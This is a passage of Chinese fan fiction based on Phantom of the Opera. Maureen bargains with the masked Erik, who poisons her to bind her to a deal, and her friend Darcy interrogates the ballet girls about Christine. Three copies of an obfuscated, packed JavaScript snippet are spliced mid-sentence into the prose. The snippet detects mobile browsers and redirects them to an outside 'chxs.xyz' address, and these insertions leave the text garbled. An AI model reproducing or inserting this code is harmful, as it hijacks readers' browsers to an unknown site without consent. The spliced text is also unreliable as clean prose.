“往前看。”那人语气低沉地威胁她。 虚假的伪善气氛被破开，原来作恶者的天性是如此的难以隐藏。莫琳觉得自己再没有与他争论的必要，于是单刀直入地挑明了来意：“你想要什么。” “或者说，我能给你什么？” 她每说一句，他都能清晰感受到声带如同蝴蝶振翅般的震动。 面对手无缚鸡之力的弱者，他突然起了恶劣的玩笑心思，手上添了点力将她掐得更紧了一些。这回连血管和动脉都能摸到清晰的轮廓了，他能感受到她在极度紧张之下作出的本能的吞咽动作，也能感受到强烈的脉搏。 这让他的情绪缓和了一些。哦，原来刚才那些镇定自若的诘问不过是她的遮掩。 在莫琳怀疑自己快要窒息的时候，对方终于卸了力，给了她喘息的机会。 “你太高估自己了，莱斯曼小姐，你没有与我做交易的资本。” 这时候她的呼吸还没来得及缓过来，说话的音调未免显得有些诡异： “所以为什么？为什么要杀了布景工人？如果不是为了和我做交易，你这么做的意义是什么？” “杀个人而已，需要什么理由？”幽灵不解地偏了下头。 他并不能明白她的疑虑，因为人命的分量对他来说实在太轻了。 莫琳被他的回答噎了一下，终于反应过来自己面对的根本不是什么拥有正常思维逻辑的普通人。他是活在地下的幽灵，是在刀尖上舔血的郐子手。 “那么还有什么？这个可怜的人还知道了你的什么秘密？”莫琳继续问。 她的大脑告诉她事情绝不于此，布景工人并不是用来威胁她的最佳选择，拿走他的性命，一定有什么其他的理由。 这次身后的人沉默良久，并没有立即给出答案。依旧被他掐着后颈的莫琳即刻后悔起自己的鲁莽，这短短几分钟对她而言过于煎熬，她生怕自己的某句话某个词不巧戳中了这位喜怒无常的先生，好让他找到合适的借口杀了自己。 好在莫琳的命暂时保住了。 她察觉到自己脖子上的那只手一松，带着凉意的空气涌进自己的喉咙和鼻腔。她连忙深吸两口气，终于恢复了呼吸。她听到对方低低地笑了两声，语气古怪地说：“他不过是做了和你一样的事”。 说完，没给她再留下任何喘息的时间，他将莫琳的脑袋生硬地掰过来，迫使她直视自己，就好像她是个关节迟钝的玩偶那样。 那一瞬间，莫琳觉得自己半边肩膀的骨头都快碎了，她从没受过这样的对待，如同地牢里被判以死刑的囚徒那样任人踩踏。 她被迫以这个别扭的姿势直视对方的眼睛。男人的面孔在她眼中无限倍放大，在昏暗的烛火中，他戴了半边白色面具，露出的另外半张脸上五官锋利，鼻梁高挺，有着如同古希腊父神那样超脱凡俗的样貌。 “循照相貌判人是会丢了性命的。”莫琳动了动嘴唇，她想说话，却发现自己失去了声音。 “人？”不料对方的声音却开始扭曲起来，“你竟然觉得我像个人？” 迟到的疼痛感终于传来，男人在听到这句话的瞬间就加重了手中的力道。 莫琳觉得不可思议极了。她确信她没能发出一点声音来，那么这个人又是怎么能够准确无误从她的唇形中捕捉到语言的？ 只可惜幽灵不会回答她的疑问。他捏住莫琳的下巴，金色的瞳孔里闪烁着可怖的光芒，像是要看穿她虚假皮相下藏着的龌龊心思。莫琳下意识藏了藏自己的舌头，身体由于恐惧而开始在口腔中分泌大量的唾液。 这回莫琳明白了，这个男人大概是个极其厌恶外表的人，也许是他不喜欢自己这类外表，而更愿意别人称赞他的男子气概。 “看了你的脸就会死吗？先生？”莫琳从喉咙缝里勉强挤出几个字来。 “当然不”，对面的人用粗砺的手掌抚摸过少女娇艳明媚的五官。他此刻的眼神简直可以称得上是温柔缱绻，可说出来的话却截然不同： “但他们会经历远胜死亡的痛苦，活在日与夜的恐惧中，被多疑和焦虑所反复折磨。” 莫琳完全听不懂他在说什么，她唯一能感受到的是，他在恐吓她。 她想自己应该表现得顺从一些，才能替自己争取到生的机会，于是尽量保持温和地询问他：“那么您想要什么，先生？只要是我能做到的，并且没有将自己送进牢狱的危险，我都愿意竭力去满足您的需求。” “不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018811|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要了，莱斯曼小姐。”对面的人死死地盯着她，“我想我已经替你安排好了结局。” 这句话让莫琳浑身一凛。她缩了缩后肩胛骨，想起自己从前那位家庭教师说过的话 —最可怖的对手就是那些无所求的人。 她不知道幽灵为自己准备了什么样的归途，是烹饪成盘中餐，还是将她吊死在剧院门口示众，她尽量不去想那些可怖的死法，可却又什么都做不了。她处在十分被动的位置，因为那个人甚至连钱都不想要！ “你该为此感到荣幸。” 男人面色复杂地捏住她的脸，用目光缓慢地摩挲过她饱满的额头。细挑的双眸，玫瑰色的唇颊，他看她就好似看他自己另一场童真虚幻的梦境。 他犹豫良久，就在莫琳怀疑他将要溺死在自己织造的假象里时，伸手扣住了自己脸上的半边面具，作势要将它摘下，如同穷途末路的人打算下一步就跳下百尺悬崖。 他在透过她看别人。 莫琳猛然意识到这一点。 如同将要溺毙的人找到了救命稻草，利齿下的猎物找到了敌方软肋。她没时间去怀疑自己的第六感，抱着那丝微弱的可能性迅速开口： “你把我看做了谁？”莫琳说。 在莫琳将这句话说出口时，摘不摘面具这件事已经失去了原本的意义 这一刻幽灵的梦境消散了，女人脸上那些虚伪的幻想镜像彻底破碎，露出了鲜活，生动，独一无二的莱斯曼小姐。 他设想过千百种可能性。她可能会恐惧，可能会嫌恶，甚至可能会像马戏团里的人那样，用看野兽的目光将他欺辱得体无完肤，却惟独没有想到在面具还没摘下之前，她会有机会看穿自己。 女人是既甜美诱人，又足智多谋的动物。 他和她们的交战经验过于匮乏，这才失去了先天优势。 可莫琳没有停下，她原先只是试探性地抛出了自己的猜测，想换取反攻的机会。可她没想到，在得到这个确定的答案后，她觉得自己简直受到了奇耻大辱： “你怎么敢，你怎么敢将我当作一个替身！”她喊道。 被动方的位置调换，现在莫琳成了那个想要得到答案的猎手。 在前十八年的生命里，莫琳虽然没能拥有至高的王室地位，但坎贝尔家族依旧为她带来了无上的荣光。她被捧得高高在上，身边围绕的所有声音，被过滤得只剩下奉承讨好。她从来不曾仰头去看过别人，更不会被当作别人的影子。所以现在，面具下的脸究竟长成什么样子，不重要；她被当成了谁的替代品，是关键。 黑暗里那盏微弱的煤灯不断颤抖着，将息未息。 但凡此刻有人上前呼那么一口气，这地方就会毫无疑问地再次坠入地狱深渊里。 “来啊，不是要摘面具吗？不是把我当作试验品吗？就这么做吧，看看你的心上人会不会露出和我一样的表情。”莫琳继续刺激他，她已经厌倦了对着一个犹如白纸的面具自言自语。 对方没料到她是这样聪明，这么快就勘破了他肮脏的意图，甚至直接将其点明了出来。他搭在面具上的手僵了一瞬，似乎在考虑要不要继续接下来的动作。 可莫琳不打算给他反悔的机会。她搭上那只刚才掐住她后颈的手，那只几乎将她半边肩膀碾碎的手，毫不迟疑地将面具摘了下来。 煤灯在这一刻灭了。 8. 协议 在那转瞬即逝的几秒钟里，莫琳看清了他的脸。 幽灵，鬼魅，刽子手。这些词都难以准确地形容他。 面具下的右半边脸几乎是魔鬼的塑像，苍白的皮肤紧紧绷在骨肉上，眼睛深凹进去，瞳孔里迸溅出嚇人的火焰。这在右边那半张面孔的衬托下显得尤为可怖。 莫琳不知道他究竟是怎么触犯了不可饶恕的罪，引得上帝要降下如此重的刑罚，哪怕是卡西莫多式的人物，恐怕也要为面前的人淌下几滴泪来。 生而丑陋并不是多么难以接受的事情，因为这世上本就有更多人们除外貌外更需要疲于奔波的事情。倘若你去下等人所居住的街区看一看，就会发现他们并不十分在意你生了几只眼睛。 可让最极致的美丑出现在同一个人的脸上，让他既知美的秩序理性，又无法逃避丑所带来的荒诞滑稽，就无疑让他的人生变得可悲了。 莫琳心中那些无端而起的愤怒一下像是被堵住了。它们汹涌着想跑出去，却找不到合适的出口，以至于在原地不断徘徊、拍打，最终消散。 她应该向后逃，应该表现出惊恐、嫌恶，用以击碎他美好的幻象，破灭他可悲的奢望。他可是将她当作了一面社会的镜子，甚至透过她去看自己情人的眼睛，难道还会有比这更理想的反击的机会吗？ 可不知道为什么，莫琳心中竟然只能找到对他的那么一丁点儿怜悯，还有，熟悉。 他让她想起自己年幼时的那位家庭教师。 她已经忘记了她的名字，但依旧对她脸上那块胎记记忆犹新。棕褐色的，蜿蜒的，丑陋的，从额间一直横跨过眉目鼻梁，占据了大半张脸，他们说只有被上帝抛弃的孩子才会留下这样的疤痕。 可她知道她不是。 她是位博学多才的女性，在文学与历史方面都涉猎颇多，只是因为容貌的缺陷，而身困囿境。家族明白她失去了用以转移财富或者权势的可能性，这才退一步让她得到了工作的机会。当然，这份可以说是自毁式夺得的工作，也只能局限在第三产业中而已，也就是成为莫琳的家庭教师。 一位贵族女性，如果再做比这更多的，那就会遭人唾骂。 他们俩相像，又并不完全相像。 她比他要好上一些。好在那只是块胎记，可以被脂粉所遮盖；好在她用容貌的缺陷为自己换取到婚姻的自由，甚至有机会得到一份供以发挥才干的工作。 他比她也要好上一些。 好在他具有男性天生的优势，生来就比女性要掌控更多的机会；好在他是个自由人，不必受累于家族与身份的束缚。 他在透过她看别人，她也在他的脸上寻找到了旧相识的影子。 男人在黑暗中看着她脸上变幻莫测的神情，全程自虐式地盯着她，企图捕捉到那些熟悉的憎恶或者恐惧。 可是没有，那个像巴黎清晨初绽的玫瑰一样娇艳的女人，她的眼睛里只有对豺狼的警惕。 “原来如此。”莫琳说。 男人的心笔直地下坠，又因为她的话而找到了一个短暂的托举点。 他对她的话感到失望，却又产生了一种奇异的兴奋。 如果连这位贵族小姐都并不那么畏惧他的容貌，那么类似的场景是不是也会在克莉丝汀身上上演？他善良的克莉丝汀，有颗至善之心的克莉丝汀，是他生命得以延续的燃料，是他永夜地狱里微弱的光明。 只不过他可怜而短暂的幻想很快就被对面的女人无情地打破了。 “她不会爱你。”莫琳看着面前的黑暗说。 这下她终于能在黑暗中摸清他的方位了，因为他那双金色的眼睛正汹涌出猛烈的怒火，这世上最浓稠的黑暗也遮掩不住他的愤怒。 对方被揭穿心思的恼怒几乎快要化为实质，他手中微动，已经做好了打算，准备将面前这朵玫瑰掐灭在绽放前夕。 旁遮普套索在悄无声息之间缠上了莫琳的脖子。 可莫琳这时候已经不再发抖了。假使他能完全压制住她的身体，但她确信她此刻已经完全凌驾于他的精神殿堂之上，他不过是个随时可能崩溃的影子。 “谁会爱上一个依靠敲诈和勒索生活的杀人犯，先生？”莫琳说。 “你的外表并不是吓退女孩的主要原因，要知道，那些在战场上被炮火轰掉半边脸的士兵看上去比你要可怖得多。可他们会因此而终身藏匿在黑暗里度日吗？不会，他们只会因勇气与忠诚而被嘉奖，人民和国家视他们为英雄。” 这话不免引得对方发笑。 莫琳过于义正言辞的反驳对于一个生长在罪恶中的人来说可能过于苛刻了，她并不知道，他的道德感少得可怜。不，从严格意义上来说，这样东西从来没存在过。 “精彩的劝诫，莱斯曼小姐，” “但我想我不是邀请你来这里对我进行审判的。”幽灵的笑声阴冷，手里的套索收紧了一些。 虽然那番话没有起到它应有的效用，但莫琳没有慌张。她捏紧袖中的刺刀，继续耐心和他周旋： “既然勒索是你谋生的手段，我当然不会剥夺它。先生，在这里和你探讨关于心上人的问题也并不是我本意。事实上，我想说的是，我是个有钱人，也有一定的地位，如果事情有挽回的地步，我们完全可以坐下来谈谈条件。” “我有能力按期付给你理想的薪资，也允许你对剧目内容进行更改。所有演员，芭蕾舞女，还有乐队的调度，都可以和你商量，如果你希望克莉丝汀成为歌剧院的新星，那么我会替你捧红她。” “在我看来，你需要一个好用的傀儡。而我这么听话的帮手恰好属于稀缺资源。” 莫琳一点也不对她话中的自我贬低感到难堪，相反地，她说这话时还颇有些理直气壮。 “听上去很让人心动”，意料之外的，幽灵竟然顿了一顿，“让莱斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018812|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曼家的小姐屈尊做我的下属，恐怕我得折上几年性命才行。” 他明显对此很感兴趣，套索在莫琳的脖子上反复摩挲，似乎是在思考这件事情的可行性。 风险越大的事，总是越能勾起疯子的探索欲。他自言自语道：“这实在太难以拒绝了。一个骗子，一个唯利是图的女人，多么适合成为我衷心的仆从。” 没过多久，莫琳感到自己的下巴被人捏住了，一股野蛮的力量迫使她将嘴张开。细长的瓶颈强制性入侵她的口腔，辛辣的液体顺畅地流入她的喉管，带来一阵强烈的灼烧感。 是什么？他在做些什么？ 莫琳忍耐着不适，在意识到他在给自己灌毒后，以最快地速度去摸自己的袖中的刺刀。可是什么也没有，袖口空荡荡的，早就失去了重量。口中的味觉渐渐消失，她失神地往远处一瞥，看见宝石反射出的隐隐约约的光芒，宝石是镶嵌在刺刀手柄上的，也就是说，那把原本被自己视作救命稻草的武器被人丢开了。 他早就发现了。 “放轻松，这只是用来确保我们之间的合约更加牢固。”对面的人说：“和魔鬼做交易总要付出点儿代价。一点儿副作用也没有，不会让你长出吓人的痦子，也不会使你苗条的身材走样，我保证。” “如果你不听话，我不介意多费点事让剧院再换位经理，”幽灵终于放开她，已经空了的瓶子哐当一声碎在地上。 听听，多让人耳熟的话。 莫琳突然想起来自己当初对达茜说的，她说什么来着，不介意多花些钱扫除这个麻烦？从某种方面来说，他们的想法倒是不谋而合。 这是莫琳昏迷前的最后一刻。 将人放走后，埃里克独自坐在桌前写谱。 他长久地盯着同一个音符，思绪却飘到了很远的地方。 他不知道自己发生了什么，竟然真的放走了那个携带诸多不确定因素的危险。 她是个军火商的侄女。 和那个死掉的布景工人不同，她具有最高等级的危险性和不确定性。 她是美艳的玫瑰，是荆棘藤上伺机而动的毒蛇，是阿弗洛狄忒用以勘破凡人欲望的眼睛。明明是她喝下的毒药，可却在腐蚀他的灵魂。 埃里克向来是个冷静的人，习惯掌控自己的欲望。他对这个世界只有两种简单的情感，仇恨，以及爱。他很确定自己把唯一的爱全部放在了克莉丝汀身上。 但莱斯曼不一样，他很难形容自己对她的感受。仇恨吗？不是的，她的眼睛里没有恐惧和厌恶，他没有理由对她报以仇视的目光。那么爱吗？绝不，除非他疯了才会爱上一条毒蛇。毫无疑问的，她是个狡诈，唯利是图的女人，但这些特质又带来了好处，使他在她面前不会生出任何自卑唾弃，这类自我厌弃的感受。 他能理所应当地展示出自己恶劣的那一面。 更古怪的是，他竟然有些乐忠于此。 9. 臆断 埃里克给莫琳灌下的并不是什么传统毒药。 那是用巴西勐远一种名为剑木的植物汁液稀释调配而成的罕见药物，它原先的效用对象并不是莫琳，而是埃里克自己。 只不过在埃里克身上，它的作用是愈合而非死亡。 幽灵总要有些非同寻常的地方，就比如埃里克的脸，就比如他的身体。寻常人用以治愈顽疾的药材并不能在他身上发挥作用，而毒性愈凶险罕见的植物，却愈能在他身上起到起死回生的本事。 他并不是对她毫无防备。莱斯曼家的势力虽然足够替她搜罗来整个欧洲的解药，却唯独无法覆盖到巴西勐远。剑木的解药—红背竹竿草仅仅生长在雨林，一旦离土超过半月，便会彻底失去效用。黄金和人脉在这里都失去了它们的万能性，莫琳必须替他做事。 而此时的达茜呢？他几乎快要在芭蕾舞女们的卧房里造出一间审讯室来了，她直觉莫琳的失踪与那个娇弱的首席姑娘脱不了干系。 “我要你们将克莉丝汀所有的事情都告诉我。” 这群单纯的姑娘们在这几天的时间里早已被达茜的各种阵仗搞得晕头转向，没多久的功夫就将自己知道的全都吐露了出来。 “克莉丝汀常常一个人将自己锁在房间里，无论我们怎么叫也听不见。”有个女孩说。 “她从前的嗓音并不像今天这样动人，我们一起长大，这一年来，她像是变了一个人。” “吉里太太总是单独找克莉丝汀谈话，有时候还会带来奇怪的红色信封。” 一旦有人开了口，年轻女孩们从前藏在心中的困惑就如同杂乱的线团找到了开头的那段，全都被扯了出来。她们甚至开始互相交换起零碎的信息，试图拼凑起一整个完整的故事来。 达茜坐在边上，听着她们口中并不相似的故事。 她从头至尾甚至都没说几句话，只是着重展露出来自己对于克莉丝汀这一年来变化的兴趣，这群女孩们就迫不及待地和她倾诉起来。 她太明白她们的心理了。 一起长大的伙伴，突然摆脱了平庸的人生，不仅凭借出色的嗓音成为新首席，还拥有了年轻子爵的庇护。她们的人生不知在什么时候走上了截然不同的道路。而克莉丝汀本人呢，她又不是个擅长交际的性格，于是在同伴们的问题前屡次回避，回答更是含糊不清。 这让女孩们不解，困惑，甚至萌生出嫉妒。 这时候只要有一位权势者站出来，将她们心中的不甘问出口，那么即便是埋藏再深的秘密，也将会有得见天光的日子。 放在平时，达茜喜欢极了这样的戏码，也许还会愿意在关键节点上给剧情增色几笔。但现在不一样，她的朋友正身陷困境，没有时间任由她们挥霍了。 正当她打算中断面前这场七嘴八舌的情报交互会时，女孩们的声音忽然戛然而止，她们的目光齐齐望着门的方向。 “你们怎么能将克莉丝汀的事都说给一个外人听？”愠怒的女声从门口传来，一个有着乌黑色眼睛的女孩站在外边。她身材瘦小，皮肤的颜色更是有些黯淡，在这群天真娇嫩的花朵中间显得有些格格不入，唯有一双眼睛里闪着坚定愠怒的光。 对了，刚刚那群知无不言的姑娘们并不包括她。只除了她，一个小舞女，克莉丝汀最好的朋友，吉里太太的亲生女儿，梅格·吉里。 老实说，达茜对她更感兴趣。 “你......梅格，你一直都向着克莉丝汀说话，谁不知道你们是最好的朋友！可她对你诚实吗？你们之间保持着那种朋友间忠诚的品质吗？她从没说过自己和那个幽灵间的关系，你也从没将自己的困惑问出口过”一个女孩站起来说。 “你这是在胡说八道！”梅格又惊又气，她朝这个发出质问的姑娘走近几步，问道：“克莉丝汀能和那个幽灵扯上什么关系？她从没有事情瞒着我！” “我想连你自己都很难愿意相信自己的话。”另一个女孩补充道：“梅格，连我都曾经看到过，在后山，克莉丝汀跟着一个黑色斗篷的影子出去了，直到半夜才回来。如果他们之间什么关系都没有，又怎么会背着所有人深夜幽会？” “现在莱斯曼小姐不见了，很有可能就是遭到了那个可恨幽灵的报复，你竟然能够袖手旁观，做杀人者的帮凶吗？” 梅格脸上的恼怒很快被惊恐的神色代替，在她们的连声质问下，她的说辞显得漏洞百出。她只能仓皇地重复自己的话：“他们两个怎么会扯上关系？克莉丝汀..克莉丝汀不可能认识他！” “为什么不可能？”，达茜看不下去了，将那个鼻烟壶丢到梅格怀里，“她自己都已经向我透露了他们见面的地点，这就是从密室中带出的东西。” “我希望你明白的是，克莉丝汀对你而言的重要性就和莱斯曼小姐对我一样，你不会希望自己在朋友失踪的时候什么也做不了的。” 梅格不认识那个鼻烟壶，但她的直觉告诉她这位海伍德小姐说的一切都是真的。 “我当然希望能尽快找到莱斯曼小姐，但这为什么又和克莉丝汀扯上了关系？如果您相信他们的确互相认识，应该直接问她本人才对。” “我想不用了”，达茜朝她露出一个标志性的甜美笑容，“我已经从你善良的朋友们那里得到了结果。如果你想陪我验证这个答案的话，非常欢迎。” 她的笑容令梅格感到心中发怯，她问：“你打算做什么？” “既然他将我的莫琳藏起来了，那么他也该想到他的克莉丝汀会遭到什么待遇”。 “不...您不能！” 梅格知道这位海伍德小姐绝不是说说那么简单，“如果您真的这么做了，那位先生一定会做出比预演那日更严重的事来，莱斯曼小姐会安全回来的，我向您保证！” 话才说出口，梅格就意识到自己在对方的激将下将事情全都抖漏了个干净。现在甚至都不需要达茜再多说些什么，她就该自己坦白交代了。 达茜盯着她的眼睛，说：“就从他们认识的第一天开始，我要知道事情的全部”。 梅格当然不可能将母亲和那位先生的真实关系告诉她，于是她特意在这个故事里尽量抹淡了自己和母亲的存在。 克莉丝汀是吉里太太收养的孤女，从她成年开始，就一直在剧院的舞团里做演员。梅格和她一样，同样在芭蕾舞团里服役了三年。两个人唯一不同的地方在于，梅格是真心热爱跳舞的。 而克莉丝汀呢，她更像是把跳舞当做了人生低谷中的一种过渡方式，比起垫着脚尖一遍遍地磨坏无数双舞鞋，她更愿意躲在布景后边练习小梅格她们听不懂的美声唱法。 克莉丝汀的父亲是位音乐家。 母亲这样告诉她。 也是这句话让小梅格知道，克莉丝汀的未来绝不可能被束缚在她们这个小小的，黯淡的舞团里。 可是克莉丝汀的唱法却从来没有得到任何女高音的赏识，剧院的经理也不愿意将钞票浪费在一位籍籍无名的小舞女身上。 直到有一天，剧院里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018813|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始频频出现鬼魅的身影，也就是那一天，克莉丝汀欣喜地抱住她，说： “梅格，你知道吗，我的音乐天使出现了！” 梅格从十岁开始就知道这位音乐天使的存在了。 在母亲将她接回剧院的那天，两个女孩一起躺在窄窄的单人床上时，克莉丝汀就和她说过这个故事。她说父亲去世时告诉她，自己为她留下了一位音乐天使，会在她彷徨无助时陪伴她继续前行，并且授予她世上最美妙的歌声。 而后来的事实也印证了她父亲的话，这位音乐天使的确改变了克莉丝汀的人生。 他拥有近神的能力，随手便将他人终身不可及的天赋赐予了条件不足的小舞女。 随着时间推移，剧院里的人开始赞叹克莉丝汀的歌声，外边有名声的艺术家也开始认可她的能力，在新经理上任之后，大家不约而同推选她代替卡洛塔成为了女首席。 “这么看来，这个幽灵更像是她的教父？”达茜说。 她对音乐天使这个称呼有些难以启齿，只将它看作是那个幽灵哄骗这些女孩的把戏。 “教父？或许是的，但我更认为他们之间有超出你我认知的情感。”梅格在如何表述他们之间关系时犯了难：“克莉丝汀是那位先生重要的人。除了克莉丝汀之外，他并不在乎任何人的感受，常常做出些随心所欲的事情来。” “总而言之，您还是快别想着伤害克莉丝汀了。” “伤害她？”达茜有些好笑地看着梅格，“即使我想也做不了。因为克莉丝汀被你们那位护花心切的子爵先生给锁起来了。他竟然还专门雇了人在她房间看守，仿佛我能将她吃了似的。” “他将她锁起来了？！”梅格忍不住惊呼。 但她知道这的确是子爵能做出来的事。 她从来就不喜欢克莉丝汀这个从天而降的青梅竹马。 可能是长时间身居高位的原因，他对于任何事情都有种习惯于掌控在手心的自我性，这种现象在克莉丝汀身上尤其明显。她之所以一再忍耐下自己的看法，不过是因为她知道他一切掌控欲的的出发点都是对于克莉丝汀的保护。 可他现在这么做，除了保护她之外，无异于将她彻底置于剧院失踪风波的漩涡中心。 “是的，你们这个地方真是个卧虎藏龙，不仅有幽灵帮助，还有子爵先生保驾护航。”达茜充满讽刺地说。 “只是有一点我不明白。”她问：“克莉丝汀之所以能代替卡洛塔成为女首席，不就是得益于你们女经理的举荐办法吗？既然她是受益者，那么那个魔鬼为什么还要带走莱斯曼？” “这我不知道。” “但这位先生在音乐上的造诣无疑是高深的，或许他想和莱斯曼小姐探讨歌剧院下一步的发展呢？我听母亲说，这两年剧院经营不善，好几次连我们的薪水都差点要付不出来。” 梅格的发言充满了少女的天真，连达茜都不忍心继续戳破这个女孩对“那位先生”天使般美丽的幻想了。 “在我看来却不是这么回事。” “这更像是个崎岖的三角爱情故事，那个幽灵，或者子爵先生，他们总得有一个背负上插足者的罪名。而莫琳呢，她自己恐怕也想不到会成了这场闹剧的牺牲品。” “如果他还不把莫琳交出来！试试吧，试试你们的子爵敢不敢与海伍德家族扯破脸，也让那个幽灵试试我的手段！我不会有等太久的耐心。” 达茜扬起脸，在梅格不可置信的眼神中走出了舞女们的卧室。 10. 守卫 好在达茜的惊人言论最终没能有机会实现， ——莫琳被直接送回了剧院的后台。 没人知道这个失踪了的女经理是怎么悄无声息出现在这里的，连她自己都对此感到不可置信。在来到幽灵的住所前，她与达茜进行过那么多次的反复勘探，确认那个古怪的房间就是唯一的入口，可结果呢，她们依旧低估了他诡谲的机关术。 整个剧院就如同他亲手建造的迷宫。 她们太过低估他了。 在客套的相互安慰声中，莫琳遣散了所有围观的人群，告知吉里夫人去密室里解救剩余的工人们，然后一个人脱力地瘫在了自己的办公室椅子上。 达茜羊皮小高跟的声音很快在走廊上响起来，她大概刚刚得知这个消息。 “我差点以为再也见不到你了。”在看到莫琳略显苍白的面孔后，达茜那些憋了满怀的责备的话一句也说不出口了，她眨了眨眼睛，淌下两滴还带着愤怒的泪水来。 莫琳张了张嘴，想要安慰她，却发现现在也没什么事实是值得他们庆幸的，只好又悻悻地闭上了，只站起来朝她伸出两条胳膊，作出拥抱的姿势。 这样的反应意味着什么达茜再清楚不过。她甩掉累赘的阔顶羽毛帽，冲上前扑到莫琳怀里：“不干了，我们不干了！这个破歌剧院究竟有什么好？我都不知道你在巴黎过的会是这样的日子。早知道这样，我当初是无论如何也不会让你走的。” 莫琳知道她说的是纯粹用来安慰自己的赌气话，她们都不是小孩子，哪里会再做从前那些不负责任撂挑子的事情。尤其是在莫琳已经押上自己大半身家的情况下。 “可你看，我不是全须全尾地回来了吗”，莫琳说，“往好的方面想，我现在是唯一活着从幽灵地窖出来的人。” 听她这么说，达茜气得简直说不出话来。她很快反应过来有什么事情被自己忽略了，问：“你和他做交易了？是不是？你答应了那个魔鬼什么？” 这回莫琳没有立刻回答她，而是迟疑地抿了抿唇。间隔的时间太短，她还没想好该怎么回答这个问题。事实上，她甚至不知道自己和那位幽灵到底是否达成了协议，如果是，那么协议又该如何履行，她的性命又该如何被保证。所有的事情都还笼罩在层层迷雾里。 她想了想，最终决定不打算将达茜也扯进这档子糟糕的意外之中，说：“钱，我答应给他钱。” 这个回答终于让达茜放松了一些。 她吁了一口气，说：“那就好，要多少都给他，你可千万不能在这件事上犯轴。” 说完她又担心起莫琳的财务状况，“他问你要了多少？如果需要我的帮助，你知道的...” “不需要，达茜，还没有到那个地步”，莫琳捏捏达茜的手，安慰她，“你是不是以为我快破产了？还远着呢，实在不行的话，你知道的，我在巴黎还有个有钱的舅舅。” “差点忘了。”达茜惊呼，“对，莱斯曼，你必须要让他也替你承担些什么。” 好在莫琳已经完全将话题扭转向了另一个方面，达茜没有再质疑为什么这位幽灵提出的条件是如此简单直接，而完全不符合他惯来的作风。 达茜迫不及待地继续给莫琳分享外边的消息，在她失踪的这段漫长又短暂的时间里，她被迫成为了这个动荡不安剧院的安稳者：“你知道吗，那个陪你进去密室的工人，他居然试图淌过黑湖去找你，结果被里面的机关给困住了。其他人都以为他会死在那，老沃特都准备要去给他的家人报死讯，结果他竟然又自己出来了。” “我一眼就能看出他是个不一般的人。” 说到这里，达茜露出一副神秘莫测的表情。这让莫琳感到不妙，通常她露出这幅表情的时候，都是背着自己做了什么意料之外的事。 果然，她听见达茜说：“所以我将他雇下来了，以后他不将不再为剧院后台工作，他只是你的，你的私人侍卫。” 莫琳皱起眉毛，问：“奥斯顿？” “奥斯顿.克罗宁，刚满十八岁，克罗宁家最小的儿子”，达茜向她解释：“他父亲是个老士兵，从小就带着孩子们打猎和运用枪支，据他父亲说，奥斯顿完全继承了他的好枪法，是几个孩子中最令他感到自豪的一个。” 老实说，莫琳此前并没有要雇佣一个私人侍卫的打算。剧院的人手本来就紧张，再腾出一个好手的位置来替她干活，这实在不是什么明智之举。但今非昔比，她才刚刚被恶魔套上了绳索，不知道什么时候就会在无人知晓的阴暗处坠入深渊，她亟需巩固自己安全的壁垒。 “眼光还算不错”，莫琳同她调侃道，“在密室里我见识过他的身手，还算过得去，也是个有脑子的聪明人，你这回不算白花钱”。 “我就知道你会喜欢。”达茜说。 其实有一点她没告诉莫琳，她之所以选择克罗宁并不完全因为老沃特向她吹嘘的什么神枪法，而是他在密室里的表现。五个人里面只有他一个选择跳入黑湖去救莫琳，这不仅需要勇气，还需要对主人的忠心。作为仆人最重要的这两点，他都有了。 当然，虽然并不那么值得一提，但他那张脸也替他博得了不少达茜的好感。她想，如果不是因为他的身份，全巴黎大概都不会有几个女人拒绝他。 “克罗宁家的人，查过了吗？”莫琳又问。 “当然”，达茜对她的提问感到十分意外：“我会把一个没调查干净的人放在你身边吗？拜托，我们认识七年了，我以为你该信任我。” 虽然这么说，但达茜依旧拿出了事实来消除莫琳的顾虑。她将一张身份证明和契约协议压在了莫琳面前的桌子上，说：“他父亲虽然从战场上回来了，但断了只腿，完全没了劳作力，全靠他母亲替人家缝补衣服来补贴家用。克罗宁家孩子多，生活自然也就有些捉襟见肘。虽然他们几个兄弟都开始在外面给人做工了，但也没能改善多少。不过你放心，我去警察署查了记录，没有犯罪记录，全家都是。” “至于这张契约协议”，达茜顿了顿，像是一时找不到合适的措辞来形容，“这小子写得简直像是奴隶书似的，这下好了，你就算将他卖了也是合法的。” 莫琳看着契约上的内容，皱了皱眉。 他们两个拢共只见了一次面而已，她也不认为黑湖那一次算得上是什么生死之交，他毫无理由这么做。除非想得简单一些，单纯因为这位克罗宁没读过书而已。 但奥斯顿这么做不是毫无道理的。 